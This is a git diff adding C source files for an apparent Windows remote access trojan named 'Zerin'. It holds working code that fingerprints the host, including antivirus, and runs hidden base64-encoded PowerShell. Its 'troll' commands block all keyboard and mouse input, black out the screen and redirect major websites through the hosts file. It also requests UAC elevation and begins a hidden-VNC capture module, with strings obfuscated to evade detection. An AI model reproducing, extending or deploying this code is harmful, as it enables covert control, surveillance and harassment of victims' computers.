* 1024.0 * 1024.0); + double used_pct = total > 0 ? ((total - free_space) / total) * 100.0 : 0; + + char mount_esc[16]; + json_escape_s(mount_esc, sizeof(mount_esc), d); + + dj_len += snprintf(disk_json + dj_len, sizeof(disk_json) - dj_len, + "%s{\"mount\":\"%s\",\"total_gb\":%.1f,\"free_gb\":%.1f,\"used_pct\":%.1f}", + disk_count > 0 ? "," : "", mount_esc, total, free_space, used_pct); + disk_count++; + } + } + d += strlen(d) + 1; + } + } + } + dj_len += snprintf(disk_json + dj_len, sizeof(disk_json) - dj_len, "]"); + + // Escape strings + char cpu_esc[512], gpu_esc[512], os_esc[512], av_esc[512]; + json_escape_s(cpu_esc, sizeof(cpu_esc), cpu_name); + json_escape_s(gpu_esc, sizeof(gpu_esc), gpu_name); + json_escape_s(os_esc, sizeof(os_esc), os_name); + json_escape_s(av_esc, sizeof(av_esc), av_name); + + // Build JSON output + size_t out_cap = 4096; + char *output = (char *)malloc(out_cap); + if (!output) return -1; + + snprintf(output, out_cap, + "{" + "\"cpu\":\"%s\"," + "\"cores_physical\":%lu," + "\"cores_logical\":%lu," + "\"ram_total_gb\":%.1f," + "\"ram_available_gb\":%.1f," + "\"gpu\":\"%s\"," + "\"os\":\"%s\"," + "\"uptime_days\":%lu," + "\"uptime_hours\":%lu," + "\"uptime_minutes\":%lu," + "\"av\":\"%s\"," + "\"disks\":%s" + "}", + cpu_esc, + (unsigned long)phys_cores, + (unsigned long)logical_cores, + total_gb, avail_gb, + gpu_esc, os_esc, + (unsigned long)up_days, + (unsigned long)up_hours, + (unsigned long)up_mins, + av_esc, + disk_json); + + result->success = true; + result->output = output; + return 0; +} diff --git a/src/commands/troll.c b/src/commands/troll.c new file mode 100755 index 0000000..0b20182 --- /dev/null +++ b/src/commands/troll.c @@ -0,0 +1,658 @@ +#include "zerin.h" +#include "obf_strings_gen.h" +#include +#include +#include +#include + +/* helper: run a powershell one-liner hidden, capture output. + * Uses -EncodedCommand with base64(UTF-16LE) to avoid shell injection + * via double-quote escaping in the script string. */ +static int run_ps(const char *script, task_result_t *result) { + /* Convert UTF-8 script to UTF-16LE for -EncodedCommand */ + size_t slen = strlen(script); + int wlen = MultiByteToWideChar(CP_UTF8, 0, script, (int)slen, NULL, 0); + if (wlen <= 0) { result->error_code = -1; return -1; } + + wchar_t *wscript = (wchar_t *)malloc((size_t)wlen * sizeof(wchar_t)); + if (!wscript) { result->error_code = -1; return -1; } + MultiByteToWideChar(CP_UTF8, 0, script, (int)slen, wscript, wlen); + + /* Base64-encode the UTF-16LE bytes */ + extern char *base64_encode(const uint8_t *data, size_t len, size_t *out_len); + size_t b64_len = 0; + char *b64 = base64_encode((const uint8_t *)wscript, (size_t)wlen * sizeof(wchar_t), &b64_len); + free(wscript); + if (!b64) { result->error_code = -1; return -1; } + + /* Build: powershell -NoProfile -WindowStyle Hidden -EncodedCommand */ + char ps_fmt[128]; + obf_decrypt_to(OBF_PS_ENCODED_HIDDEN, ps_fmt, sizeof(ps_fmt)); + size_t clen = strlen(ps_fmt) + b64_len + 1; + char *cmd = (char *)malloc(clen); + if (!cmd) { obf_wipe(ps_fmt, sizeof(ps_fmt)); free(b64); result->error_code = -1; return -1; } + + snprintf(cmd, clen, ps_fmt, b64); + obf_wipe(ps_fmt, sizeof(ps_fmt)); + free(b64); + + STARTUPINFOA si; + PROCESS_INFORMATION pi; + memset(&si, 0, sizeof(si)); + memset(&pi, 0, sizeof(pi)); + si.cb = sizeof(si); + + SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE }; + HANDLE rd = NULL, wr = NULL; + CreatePipe(&rd, &wr, &sa, 0); + SetHandleInformation(rd, HANDLE_FLAG_INHERIT, 0); + si.dwFlags = STARTF_USESTDHANDLES; + si.hStdOutput = wr; + si.hStdError = wr; + si.hStdInput = NULL; + + BOOL ok = CreateProcessA(NULL, cmd, NULL, NULL, TRUE, + CREATE_NO_WINDOW, NULL, NULL, &si, &pi); + free(cmd); + CloseHandle(wr); + + if (!ok) { + CloseHandle(rd); + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("ERR 401: process create"); + return -1; + } + + WaitForSingleObject(pi.hProcess, 15000); + + char buf[4096]; + DWORD n = 0; + ReadFile(rd, buf, sizeof(buf) - 1, &n, NULL); + buf[n] = '\0'; + CloseHandle(rd); + + DWORD ec = 0; + GetExitCodeProcess(pi.hProcess, &ec); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + + result->success = (ec == 0); + result->output = _strdup(buf); + result->error_code = (int32_t)ec; + return 0; +} + +/* ── troll_msgbox ──────────────────────────────────────────────────── + * Show a Win32 message box on the target desktop. + * args[0]: message text + * args[1] (optional): title (default "Alert") + * ─────────────────────────────────────────────────────────────────── */ +int cmd_troll_msgbox(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + + const char *msg = (task->num_args >= 1 && task->args[0]) ? task->args[0] : "Hello!"; + const char *title = (task->num_args >= 2 && task->args[1]) ? task->args[1] : "Alert"; + + /* Run on a thread so we don't block the beacon loop */ + MessageBoxA(NULL, msg, title, MB_OK | MB_ICONINFORMATION | MB_SETFOREGROUND); + + result->success = true; + result->output = _strdup("Message box displayed"); + return 0; +} + +/* ── troll_tts ─────────────────────────────────────────────────────── + * Speak text aloud using Windows SAPI. + * args[0]: text to speak + * ─────────────────────────────────────────────────────────────────── */ +int cmd_troll_tts(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + + if (task->num_args < 1 || !task->args[0]) { + result->success = false; + result->error_code = 1; + result->error_message = _strdup("No text specified"); + return -1; + } + + /* Escape single quotes in the text */ + const char *text = task->args[0]; + size_t len = strlen(text); + char *escaped = (char *)malloc(len * 2 + 1); + if (!escaped) { result->error_code = -1; return -1; } + + size_t j = 0; + for (size_t i = 0; i < len; i++) { + if (text[i] == '\'') { escaped[j++] = '\''; escaped[j++] = '\''; } + else escaped[j++] = text[i]; + } + escaped[j] = '\0'; + + char script[2048]; + snprintf(script, sizeof(script), + "(New-Object -ComObject SAPI.SpVoice).Speak('%s')", escaped); + free(escaped); + + return run_ps(script, result); +} + +/* ── troll_website ─────────────────────────────────────────────────── + * Open a URL in the default browser. + * args[0]: URL + * ─────────────────────────────────────────────────────────────────── */ +int cmd_troll_website(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + + if (task->num_args < 1 || !task->args[0]) { + result->success = false; + result->error_code = 1; + result->error_message = _strdup("No URL specified"); + return -1; + } + + HINSTANCE r = ShellExecuteA(NULL, "open", task->args[0], NULL, NULL, SW_SHOWNORMAL); + if ((intptr_t)r <= 32) { + result->success = false; + result->error_code = (int32_t)(intptr_t)r; + result->error_message = _strdup("Failed to open URL"); + return -1; + } + + result->success = true; + result->output = _strdup("URL opened in browser"); + return 0; +} + +/* ── troll_wallpaper ───────────────────────────────────────────────── + * Change the desktop wallpaper. + * args[0]: "black" | "white" | file path + * ─────────────────────────────────────────────────────────────────── */ +int cmd_troll_wallpaper(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + + const char *arg = (task->num_args >= 1 && task->args[0]) ? task->args[0] : "black"; + + if (strcmp(arg, "black") == 0 || strcmp(arg, "white") == 0) { + /* Set a solid color by clearing wallpaper and changing bg color */ + SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, (void *)"", SPIF_UPDATEINIFILE); + + int color = (strcmp(arg, "black") == 0) ? 0 : 0x00FFFFFF; + int elements[] = { COLOR_DESKTOP }; + DWORD colors[] = { (DWORD)color }; + SetSysColors(1, elements, colors); + + result->success = true; + char msg[64]; + snprintf(msg, sizeof(msg), "Wallpaper set to %s", arg); + result->output = _strdup(msg); + return 0; + } + + /* Treat as file path */ + BOOL ok = SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, (void *)arg, + SPIF_UPDATEINIFILE | SPIF_SENDCHANGE); + if (!ok) { + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to set wallpaper"); + return -1; + } + + result->success = true; + result->output = _strdup("Wallpaper changed"); + return 0; +} + +/* ── troll_taskbar ─────────────────────────────────────────────────── + * Hide or show the Windows taskbar. + * args[0]: "hide" | "show" + * ─────────────────────────────────────────────────────────────────── */ +int cmd_troll_taskbar(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + + const char *action = (task->num_args >= 1 && task->args[0]) ? task->args[0] : "hide"; + HWND taskbar = FindWindowA("Shell_TrayWnd", NULL); + + if (!taskbar) { + result->success = false; + result->error_message = _strdup("Taskbar window not found"); + return -1; + } + + /* Also grab the secondary taskbar (Windows 11) and Start button */ + HWND secondary = FindWindowA("Shell_SecondaryTrayWnd", NULL); + HWND startBtn = FindWindowA("Button", "Start"); + + if (strcmp(action, "hide") == 0) { + ShowWindow(taskbar, SW_HIDE); + if (secondary) ShowWindow(secondary, SW_HIDE); + if (startBtn) ShowWindow(startBtn, SW_HIDE); + result->output = _strdup("Taskbar hidden"); + } else { + ShowWindow(taskbar, SW_SHOW); + SetWindowPos(taskbar, HWND_TOPMOST, 0, 0, 0, 0, + SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW); + SetWindowPos(taskbar, HWND_NOTOPMOST, 0, 0, 0, 0, + SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW); + if (secondary) { + ShowWindow(secondary, SW_SHOW); + SetWindowPos(secondary, HWND_TOPMOST, 0, 0, 0, 0, + SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW); + SetWindowPos(secondary, HWND_NOTOPMOST, 0, 0, 0, 0, + SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW); + } + if (startBtn) ShowWindow(startBtn, SW_SHOW); + result->output = _strdup("Taskbar shown"); + } + + result->success = true; + return 0; +} + +/* ── troll_cd_tray ─────────────────────────────────────────────────── + * Open the CD/DVD drive tray. + * ─────────────────────────────────────────────────────────────────── */ +int cmd_troll_cd_tray(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + + /* mciSendStringA is in winmm.dll — load dynamically */ + typedef DWORD (WINAPI *mciSendStringA_fn)(LPCSTR, LPSTR, UINT, HANDLE); + HMODULE hm = LoadLibraryA("winmm.dll"); + if (!hm) { + result->success = false; + result->error_message = _strdup("Failed to load winmm.dll"); + return -1; + } + + mciSendStringA_fn pMci = (mciSendStringA_fn)GetProcAddress(hm, "mciSendStringA"); + if (!pMci) { + FreeLibrary(hm); + result->success = false; + result->error_message = _strdup("mciSendStringA not found"); + return -1; + } + + pMci("set cdaudio door open", NULL, 0, NULL); + FreeLibrary(hm); + + result->success = true; + result->output = _strdup("CD tray opened"); + return 0; +} + +/* ── troll_swapmouse ──────────────────────────────────────────────── + * Toggle swap of left/right mouse buttons. + * args[0]: "on" | "off" (on = swapped) + * ─────────────────────────────────────────────────────────────────── */ +int cmd_troll_swapmouse(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + const char *action = (task->num_args >= 1 && task->args[0]) ? task->args[0] : "on"; + BOOL swap = (strcmp(action, "off") != 0); + SwapMouseButton(swap); + result->success = true; + result->output = _strdup(swap ? "Mouse buttons swapped" : "Mouse buttons restored"); + return 0; +} + +/* ── troll_disablesound ───────────────────────────────────────────── + * Mute or unmute system master volume via PowerShell + AudioDeviceCmdlets + * or the simple SendMessage approach to the system tray. + * args[0]: "on" | "off" (on = muted) + * ─────────────────────────────────────────────────────────────────── */ +int cmd_troll_disablesound(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + const char *action = (task->num_args >= 1 && task->args[0]) ? task->args[0] : "on"; + int mute = (strcmp(action, "off") != 0); + + char script[256]; + if (mute) { + snprintf(script, sizeof(script), + "$obj = New-Object -ComObject WScript.Shell; $obj.SendKeys([char]173)"); + } else { + snprintf(script, sizeof(script), + "$obj = New-Object -ComObject WScript.Shell; $obj.SendKeys([char]173)"); + } + /* VK_VOLUME_MUTE = 0xAD = 173 — toggles mute on/off */ + return run_ps(script, result); +} + +/* ── troll_blackscreen ────────────────────────────────────────────── + * Cover the screen with a topmost black window, or remove it. + * args[0]: "on" | "off" + * ─────────────────────────────────────────────────────────────────── */ +static HWND g_black_hwnd = NULL; + +static LRESULT CALLBACK BlackWndProc(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp) { + switch (msg) { + case WM_PAINT: { + PAINTSTRUCT ps; + HDC hdc = BeginPaint(hwnd, &ps); + RECT rc; + GetClientRect(hwnd, &rc); + FillRect(hdc, &rc, (HBRUSH)GetStockObject(BLACK_BRUSH)); + EndPaint(hwnd, &ps); + return 0; + } + case WM_ERASEBKGND: + return 1; + case WM_CLOSE: + DestroyWindow(hwnd); + return 0; + case WM_DESTROY: + PostQuitMessage(0); + return 0; + default: + return DefWindowProcA(hwnd, msg, wp, lp); + } +} + +static DWORD WINAPI BlackScreenThread(LPVOID param) { + (void)param; + char blk_cls[32]; + obf_decrypt_to(OBF_BLACK_CLASS, blk_cls, sizeof(blk_cls)); + WNDCLASSA wc = {0}; + wc.lpfnWndProc = BlackWndProc; + wc.hInstance = GetModuleHandleA(NULL); + wc.lpszClassName = blk_cls; + wc.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH); + RegisterClassA(&wc); + + int cx = GetSystemMetrics(SM_CXSCREEN); + int cy = GetSystemMetrics(SM_CYSCREEN); + + HWND hwnd = CreateWindowExA( + WS_EX_TOPMOST | WS_EX_TOOLWINDOW, + blk_cls, "", + WS_POPUP | WS_VISIBLE, + 0, 0, cx, cy, + NULL, NULL, wc.hInstance, NULL); + + if (!hwnd) return 1; + g_black_hwnd = hwnd; + + SetWindowPos(hwnd, HWND_TOPMOST, 0, 0, cx, cy, + SWP_SHOWWINDOW | SWP_NOMOVE | SWP_NOSIZE); + + MSG msg; + while (GetMessage(&msg, NULL, 0, 0)) { + TranslateMessage(&msg); + DispatchMessage(&msg); + } + return 0; +} + +int cmd_troll_blackscreen(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + const char *action = (task->num_args >= 1 && task->args[0]) ? task->args[0] : "on"; + + if (strcmp(action, "off") == 0) { + if (g_black_hwnd) { + /* Post WM_CLOSE to the window's own thread instead of calling + * DestroyWindow from this thread (which is not the owner). + * DestroyWindow from a different thread is undefined behavior. */ + PostMessage(g_black_hwnd, WM_CLOSE, 0, 0); + g_black_hwnd = NULL; + } + result->success = true; + result->output = _strdup("Black screen removed"); + } else { + if (g_black_hwnd) { + result->success = true; + result->output = _strdup("Black screen already active"); + return 0; + } + HANDLE ht = CreateThread(NULL, 0, BlackScreenThread, NULL, 0, NULL); + if (ht) CloseHandle(ht); + result->success = true; + result->output = _strdup("Black screen activated"); + } + return 0; +} + +/* ── Low-level hook infrastructure for keyboard/mouse blocking ───── */ +static HHOOK g_kb_hook = NULL; +static HANDLE g_kb_thread = NULL; +static DWORD g_kb_tid = 0; + +static HHOOK g_mouse_hook = NULL; +static HANDLE g_mouse_thread = NULL; +static DWORD g_mouse_tid = 0; + +static LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { + if (nCode == HC_ACTION) return 1; /* block all keyboard input */ + return CallNextHookEx(g_kb_hook, nCode, wParam, lParam); +} + +static DWORD WINAPI KeyboardBlockThread(LPVOID param) { + (void)param; + g_kb_hook = SetWindowsHookExA(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandleA(NULL), 0); + if (!g_kb_hook) return 1; + MSG msg; + while (GetMessage(&msg, NULL, 0, 0)) { + TranslateMessage(&msg); + DispatchMessage(&msg); + } + UnhookWindowsHookEx(g_kb_hook); + g_kb_hook = NULL; + return 0; +} + +static LRESULT CALLBACK LowLevelMouseProc(int nCode, WPARAM wParam, LPARAM lParam) { + if (nCode == HC_ACTION) return 1; /* block all mouse input */ + return CallNextHookEx(g_mouse_hook, nCode, wParam, lParam); +} + +static DWORD WINAPI MouseBlockThread(LPVOID param) { + (void)param; + g_mouse_hook = SetWindowsHookExA(WH_MOUSE_LL, LowLevelMouseProc, GetModuleHandleA(NULL), 0); + if (!g_mouse_hook) return 1; + MSG msg; + while (GetMessage(&msg, NULL, 0, 0)) { + TranslateMessage(&msg); + DispatchMessage(&msg); + } + UnhookWindowsHookEx(g_mouse_hook); + g_mouse_hook = NULL; + return 0; +} + +/* ── troll_disablekeyboard ────────────────────────────────────────── + * Block/unblock keyboard input using a low-level keyboard hook. + * args[0]: "on" | "off" (on = disabled) + * No elevation required — works from any process. + * ─────────────────────────────────────────────────────────────────── */ +int cmd_troll_disablekeyboard(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + const char *action = (task->num_args >= 1 && task->args[0]) ? task->args[0] : "on"; + + if (strcmp(action, "off") == 0) { + if (g_kb_thread && g_kb_tid) { + PostThreadMessage(g_kb_tid, WM_QUIT, 0, 0); + WaitForSingleObject(g_kb_thread, 3000); + CloseHandle(g_kb_thread); + g_kb_thread = NULL; + g_kb_tid = 0; + } + result->success = true; + result->output = _strdup("Keyboard enabled"); + } else { + if (g_kb_thread) { + result->success = true; + result->output = _strdup("Keyboard already disabled"); + return 0; + } + g_kb_thread = CreateThread(NULL, 0, KeyboardBlockThread, NULL, 0, &g_kb_tid); + if (!g_kb_thread) { + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to create keyboard hook thread"); + return -1; + } + /* Give the hook thread time to install */ + Sleep(100); + result->success = true; + result->output = _strdup("Keyboard disabled"); + } + return 0; +} + +/* ── troll_disablemouse ───────────────────────────────────────────── + * Block/unblock all mouse input using a low-level mouse hook. + * args[0]: "on" | "off" (on = disabled) + * No elevation required — works from any process. + * ─────────────────────────────────────────────────────────────────── */ +int cmd_troll_disablemouse(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + const char *action = (task->num_args >= 1 && task->args[0]) ? task->args[0] : "on"; + + if (strcmp(action, "off") == 0) { + if (g_mouse_thread && g_mouse_tid) { + PostThreadMessage(g_mouse_tid, WM_QUIT, 0, 0); + WaitForSingleObject(g_mouse_thread, 3000); + CloseHandle(g_mouse_thread); + g_mouse_thread = NULL; + g_mouse_tid = 0; + } + /* Restore cursor visibility just in case */ + ClipCursor(NULL); + while (ShowCursor(TRUE) < 0) {} + result->success = true; + result->output = _strdup("Mouse enabled"); + } else { + if (g_mouse_thread) { + result->success = true; + result->output = _strdup("Mouse already disabled"); + return 0; + } + g_mouse_thread = CreateThread(NULL, 0, MouseBlockThread, NULL, 0, &g_mouse_tid); + if (!g_mouse_thread) { + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to create mouse hook thread"); + return -1; + } + Sleep(100); + result->success = true; + result->output = _strdup("Mouse disabled"); + } + return 0; +} + +/* ── troll_reroutesites ───────────────────────────────────────────── + * Add/remove entries in the Windows hosts file to redirect all traffic + * to 127.0.0.1. Uses a set of common domains. + * args[0]: "on" | "off" + * ─────────────────────────────────────────────────────────────────── */ +int cmd_troll_reroutesites(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + const char *action = (task->num_args >= 1 && task->args[0]) ? task->args[0] : "on"; + + /* Domains to redirect */ + static const char *domains[] = { + "google.com", "www.google.com", + "facebook.com", "www.facebook.com", + "youtube.com", "www.youtube.com", + "twitter.com", "www.twitter.com", "x.com", "www.x.com", + "instagram.com", "www.instagram.com", + "reddit.com", "www.reddit.com", + "tiktok.com", "www.tiktok.com", + "amazon.com", "www.amazon.com", + "wikipedia.org", "www.wikipedia.org", + "netflix.com", "www.netflix.com", + "twitch.tv", "www.twitch.tv", + "discord.com", "www.discord.com", + "github.com", "www.github.com", + "stackoverflow.com", "www.stackoverflow.com", + "microsoft.com", "www.microsoft.com", + NULL + }; + + char hosts_path_buf[64]; + obf_decrypt_to(OBF_HOSTS_PATH, hosts_path_buf, sizeof(hosts_path_buf)); + const char *hosts_path = hosts_path_buf; + const char *marker = "# ZERIN_REROUTE"; + + if (strcmp(action, "off") == 0) { + /* Read hosts, remove lines with our marker */ + FILE *fp = fopen(hosts_path, "r"); + if (!fp) { + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Cannot read hosts file (need admin)"); + return -1; + } + + char *buf = (char *)calloc(1, 65536); + size_t pos = 0; + char line[512]; + while (fgets(line, sizeof(line), fp)) { + if (!strstr(line, marker)) { + size_t ll = strlen(line); + if (pos + ll >= 65536 - 1) { + break; /* buffer full, stop to prevent overflow */ + } + memcpy(buf + pos, line, ll); + pos += ll; + } + } + fclose(fp); + + fp = fopen(hosts_path, "w"); + if (!fp) { + free(buf); + result->success = false; + result->error_message = _strdup("Cannot write hosts file (need admin)"); + return -1; + } + fwrite(buf, 1, pos, fp); + fclose(fp); + free(buf); + + /* Flush DNS */ + char cmd[64]; + obf_decrypt_to(OBF_IPCONFIG_FLUSH, cmd, sizeof(cmd)); + STARTUPINFOA si = {0}; + PROCESS_INFORMATION pi = {0}; + si.cb = sizeof(si); + if (CreateProcessA(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { + WaitForSingleObject(pi.hProcess, 5000); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + } + + result->success = true; + result->output = _strdup("Host redirects removed"); + } else { + /* Append redirect entries */ + FILE *fp = fopen(hosts_path, "a"); + if (!fp) { + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Cannot write hosts file (need admin)"); + return -1; + } + + fprintf(fp, "\n"); + for (int i = 0; domains[i]; i++) { + fprintf(fp, "127.0.0.1 %s %s\n", domains[i], marker); + } + fclose(fp); + + /* Flush DNS */ + char cmd[64]; + obf_decrypt_to(OBF_IPCONFIG_FLUSH, cmd, sizeof(cmd)); + STARTUPINFOA si = {0}; + PROCESS_INFORMATION pi = {0}; + si.cb = sizeof(si); + if (CreateProcessA(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { + WaitForSingleObject(pi.hProcess, 5000); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + } + + result->success = true; + result->output = _strdup("Sites rerouted to localhost"); + } + return 0; +} diff --git a/src/commands/uac.c b/src/commands/uac.c new file mode 100755 index 0000000..9a190c0 --- /dev/null +++ b/src/commands/uac.c @@ -0,0 +1,125 @@ +#include "zerin.h" +#include "obf_strings_gen.h" +#include +#include +#include + +/* ── Helpers ── */ + +static BOOL has_elevated_sentinel(void) { + LPCWSTR cmd = GetCommandLineW(); + return cmd && wcsstr(cmd, L"--elevated") != NULL; +} + +/* Verify that an elevated copy of our process is actually running. + * The elevated copy signals its presence by creating a named mutex + * after successful init. We poll for it to avoid ExitProcess when + * Defender/Tamper Protection blocked the bypass. */ +static const wchar_t *ELEVATE_MUTEX_NAME = L"Global\\ZerinElevOK"; + +void signal_elevated_running(void) { + CreateMutexW(NULL, FALSE, ELEVATE_MUTEX_NAME); + /* Intentionally leak the handle — keeps mutex alive for process lifetime */ +} + +static BOOL verify_elevated_copy_running(void) { + /* Poll for up to 8 seconds (the elevated copy needs time to start + init) */ + for (int i = 0; i < 16; i++) { + HANDLE h = OpenMutexW(SYNCHRONIZE, FALSE, ELEVATE_MUTEX_NAME); + if (h) { + CloseHandle(h); + return TRUE; + } + Sleep(500); + } + return FALSE; +} + +static void get_exe_path_w(WCHAR *buf, DWORD len) { + GetModuleFileNameW(NULL, buf, len); +} + +/* ── UAC prompt via runas (shows dialog) ── */ + +static BOOL try_runas(void) { + WCHAR exe_path[MAX_PATH]; + get_exe_path_w(exe_path, MAX_PATH); + + SHELLEXECUTEINFOW sei; + ZeroMemory(&sei, sizeof(sei)); + sei.cbSize = sizeof(sei); + sei.fMask = SEE_MASK_NOCLOSEPROCESS; + sei.lpVerb = L"runas"; + sei.lpFile = exe_path; + sei.lpParameters = L"--elevated"; + sei.nShow = SW_HIDE; + + if (!ShellExecuteExW(&sei)) + return FALSE; /* User clicked No or error */ + + if (sei.hProcess) { + /* Wait briefly for the new process to initialize */ + WaitForSingleObject(sei.hProcess, 3000); + CloseHandle(sei.hProcess); + } + + /* Verify the elevated copy actually started before killing ourselves */ + if (!verify_elevated_copy_running()) + return FALSE; + + ExitProcess(0); + return TRUE; /* unreachable */ +} + +/* ── Command handler: "elevate" (from dashboard) ── */ + +int cmd_elevate(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + + /* Already running as admin? */ + if (is_elevated()) { + result->success = true; + result->output = _strdup("Already running elevated (High IL)"); + return 0; + } + + /* If we were re-spawned with --elevated but aren't admin, something broke */ + if (has_elevated_sentinel()) { + result->success = false; + result->error_code = -1; + result->error_message = _strdup( + "Re-spawned with --elevated sentinel but not admin. " + "Elevation failed on this system."); + return -1; + } + + /* Request elevation via UAC prompt */ + if (try_runas()) { + /* ExitProcess called inside — won't reach here */ + } + + /* UAC prompt was declined or failed */ + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Elevation failed: UAC prompt declined or error"); + return -1; +} + +/* ── Startup auto-elevation (UAC prompt) ── */ + +void maybe_auto_elevate(void) { + /* Don't run if already elevated */ + if (is_elevated()) + return; + + /* Don't run if we were already re-spawned (prevent infinite loop) */ + if (has_elevated_sentinel()) + return; + + /* Request elevation via UAC prompt */ + if (try_runas()) { + /* ExitProcess called inside — won't reach here */ + } + + /* User declined or error — continue running as non-admin */ +} diff --git a/src/commands/vnc.c b/src/commands/vnc.c new file mode 100755 index 0000000..ee97c70 --- /dev/null +++ b/src/commands/vnc.c @@ -0,0 +1,4160 @@ +#include "zerin.h" +#include "dxgi_capture.h" +#include "obf_strings_gen.h" +#include +#include +#include +#include +#include +#include +#include + +#ifdef _WIN32 + +/* libjpeg-turbo TurboJPEG API (SIMD-accelerated, encodes BGRA natively) */ +#include "turbojpeg.h" + +/* ── JPEG write buffer ─────────────────────────────────────────────── */ + +typedef struct { + uint8_t *data; + size_t len; + size_t cap; +} jpeg_buffer_t; + +/* ── CRC32 for dirty tile detection ───────────────────────────────── */ + +static uint32_t crc32_table[256]; +static int crc32_table_ready = 0; + +static void crc32_init(void) { + for (uint32_t i = 0; i < 256; i++) { + uint32_t c = i; + for (int j = 0; j < 8; j++) + c = (c & 1) ? (0xEDB88320u ^ (c >> 1)) : (c >> 1); + crc32_table[i] = c; + } + crc32_table_ready = 1; +} + +/* ── Tile grid for dirty-rect detection ──────────────────────────── */ + +#define TILE_SIZE 128 +#define HVNC_TILE_SIZE 64 +#define MAX_TILE_COLS 64 /* ceil(4096/64) for adaptive tiles + hVNC */ +#define MAX_TILE_ROWS 40 /* ceil(2560/64) for adaptive tiles + hVNC */ +#define MAX_TILES (MAX_TILE_COLS * MAX_TILE_ROWS) + +#define FRAME_TYPE_TILED 0x01 +#define TILE_CODEC_JPEG 0x01 +#define TILE_CODEC_RLE_SOLID 0x02 + +typedef struct { + uint32_t hash; + uint8_t is_solid; + uint8_t r, g, b; +} tile_state_t; + +typedef struct { + int cols, rows; + int width, height; + int tile_size; /* 128 for VNC, 64 for hVNC */ + DWORD last_keyframe_tick; /* periodic full CRC32 invalidation */ + tile_state_t current[MAX_TILES]; + tile_state_t prev[MAX_TILES]; + uint8_t *raw_pixels; /* persistent full-screen RGB buffer (GDI path) */ + size_t raw_cap; + int stride; /* width * 3 (RGB) or width * 4 (BGRA direct) */ + uint8_t *tile_tmp; /* TILE_SIZE * TILE_SIZE * 3 temp for JPEG encode */ + const uint8_t *bgra_ptr; /* mapped DXGI BGRA buffer (zero-copy path) */ + int bgra_pitch; /* row pitch from DXGI mapping */ + /* Persistent DIB for hVNC (avoids per-frame GDI alloc/free) */ + HDC persist_hdc; + HBITMAP persist_hbm; + uint8_t *persist_dib_bits; /* direct BGRA pointer from CreateDIBSection */ + int persist_dib_w; + int persist_dib_h; + int persist_dib_pitch; + /* Persistent JPEG buffer for tile encoding */ + jpeg_buffer_t tile_jpeg; + /* Selective window capture tracking (hVNC) */ + HWND prev_win_stack[32]; + int prev_win_count; + DWORD last_full_capture_tick; + RECT prev_win_rects[32]; /* previous window positions — detect window moves */ + /* DXGI dirty tile mask: when set, skip CRC32 for clean tiles */ + uint8_t dxgi_dirty[MAX_TILES]; /* 1 = dirty (need CRC + encode), 0 = clean (skip) */ + int use_dxgi_dirty; /* 1 = dxgi_dirty[] is valid this frame */ + /* TurboJPEG compressor instance (SIMD-accelerated) */ + tjhandle tj_compressor; + /* Motion-adaptive quality tracking */ + int prev_dirty_pct; /* previous frame's dirty tile percentage */ + int effective_quality; /* smoothed effective quality (moves 1/4 toward target) */ + /* Adaptive tile sizing (VNC only — hVNC stays 64px) */ +#define DIRTY_HISTORY_LEN 8 + int dirty_history[DIRTY_HISTORY_LEN]; /* ring buffer of dirty % */ + int dirty_history_idx; + int dirty_history_count; + /* Per-window bitmap cache (hVNC only — avoids repeated PrintWindow) */ +#define MAX_WIN_CACHE 8 + struct { + HWND hwnd; /* Window identity */ + HDC hdc; /* Compatible DC for this window's bitmap */ + HBITMAP hbm; /* DIB section */ + uint8_t *bits; /* Direct pixel pointer */ + int w, h; /* Window size when captured */ + DWORD capture_tick; /* When last PrintWindow'd */ + BOOL needs_recapture; /* Marked dirty by input */ + uint32_t content_hash; /* CRC32 of DIB bits — detect actual content changes */ + int stable_count; /* consecutive unchanged captures (for adaptive backoff) */ + } win_cache[MAX_WIN_CACHE]; + int win_cache_count; +} tile_grid_t; + +static void tile_grid_init(tile_grid_t *g) { + memset(g, 0, sizeof(*g)); + g->tj_compressor = tjInitCompress(); +} + +static void tile_grid_free(tile_grid_t *g) { + free(g->raw_pixels); g->raw_pixels = NULL; + free(g->tile_tmp); g->tile_tmp = NULL; + g->raw_cap = 0; + g->bgra_ptr = NULL; + g->bgra_pitch = 0; + /* Persistent DIB cleanup */ + 